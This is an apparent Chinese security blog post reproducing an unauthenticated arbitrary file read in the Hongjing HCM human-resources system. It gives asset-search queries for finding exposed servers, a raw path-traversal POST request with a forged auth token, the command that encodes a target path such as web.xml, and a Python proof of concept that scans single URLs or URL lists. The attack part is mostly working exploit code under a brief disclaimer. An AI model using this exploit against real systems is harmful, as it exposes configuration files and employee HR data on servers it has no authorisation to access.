【漏洞复现】宏景HCM人力资源信息管理系统——openFile-文件读取

声明:本文档或演示材料仅供教育和教学目的使用,任何个人或组织使用本文档中的信息进行非法活动,均与本文档的作者或发布者无关。


漏洞描述

宏景HCM人力资源信息管理系统是一款全面覆盖人力资源管理各模块的软件,其openFile接口存在任意文件读取漏洞,未授权攻击者可以利用其读取网站配置文件等敏感信息。

漏洞复现

1)资产测绘,信息收集
fofa:app="HJSOFT-HCM"
hunter:app.name="宏景 HCM"
在这里插入图片描述
天道酬勤!!
在这里插入图片描述

2)构造数据包

POST /templates/attestation/../../general/muster/hmuster/openFile.jsp HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
x-auth-token: d9eaeacd5de1008fd43f737c853dcbcb
Content-Type: application/x-www-form-urlencoded
Content-Length: 68

filename=8uHo1M8Ok6bZ468mKmzw70ounZHwKUWnpVOrvOAV6WoPAATTP3HJDPAATTP

代码解释
filename这部分需要加密转换,工具:https://github.com/vaycore/HrmsTool
执行命令:java -jar HrmsTool.jar -e ../webapps/hrms/WEB-INF/web.xml

编码前:../webapps/hrms/WEB-INF/web.xml
编码后:8uHo1M8Ok6bZ468mKmzw70ounZHwKUWnpVOrvOAV6WoPAATTP3HJDPAATTP

3)神器Yakit发包
在这里插入图片描述

测试工具

poc

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import requests  # 导入requests库,用于发送HTTP请求
import argparse  # 导入argparse库,用于解析命令行参数
from requests.exceptions import RequestException  # 导入RequestException,用于处理请求异常
from urllib3.exceptions import InsecureRequestWarning  # 导入InsecureRequestWarning,用于禁用不安全请求警告

# 打印颜色定义
RED = '\033[91m'  # 红色
RESET = '\033[0m'  # 重置颜色

# 禁用不安全请求警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

def check_vulnerability(url):
    try:
        # 构建攻击URL,尝试利用路径遍历漏洞
        attack_url = url.rstrip('/') + "/templates/attestation/%2e%2e/%2e%2e/general/muster/hmuster/openFile.jsp"
        headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36',  # 设置User-Agent
            'x-auth-token': 'd9eaeacd5de1008fd43f737c853dcbcb',  # 设置伪造的x-auth-token
            'Content-Type': 'application/x-www-form-urlencoded',  # 设置请求内容类型
        }

        # 准备POST请求的数据
        data = {
            'filename': '8uHo1M8Ok6bZ468mKmzw70ounZHwKUWnpVOrvOAV6WoPAATTP3HJDPAATTP'  # 尝试读取的文件名
        }
        
        # 向服务器发送POST请求
        response = requests.post(attack_url, headers=headers, data=data, verify=False, timeout=10)  # 不验证SSL证书,设置超时时间

        # 检查响应状态码和响应体中的关键字
        if response.status_code == 200 and 'web-app' in response.text:  # 如果状态码为200并且响应体中包含'web-app'
            print(f"{RED}URL [{url}] 宏景HCM openFile任意文件读取漏洞。{RESET}")  # 打印漏洞信息
        else:
            print(f"URL [{url}] 未发现漏洞。")  # 打印未发现漏洞信息
    except RequestException as e:
        print(f"URL [{url}] 请求失败: {e}")  # 打印请求失败信息

def main():
    parser = argparse.ArgumentParser(description='检查目标URL是否存在宏景HCM openFile任意文件读取漏洞。')  # 解析命令行参数
    parser.add_argument('-u', '--url', help='指定目标URL')  # 添加URL参数
    parser.add_argument('-f', '--file', help='指定包含多个目标URL的文本文件')  # 添加文件参数

    args = parser.parse_args()  # 解析命令行参数

    if args.url:  # 如果指定了URL
        # 如果URL未以http://或https://开头,则添加http://
        args.url = "http://" + args.url.strip("/") if not args.url.startswith(("http://", "https://")) else args.url
        check_vulnerability(args.url)  # 检查指定URL的漏洞
    elif args.file:  # 如果指定了文件
        with open(args.file, 'r') as file:  # 打开文件
            urls = file.read().splitlines()  # 读取文件中的URL列表
            for url in urls:
                url = "http://" + url.strip("/") if not url.startswith(("http://", "https://")) else url  # 确保URL以http://或https://开头
                check_vulnerability(url)  # 检查每个URL的漏洞

if __name__ == '__main__':
    main()  # 程序入口

运行截图

在这里插入图片描述

  • 3
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值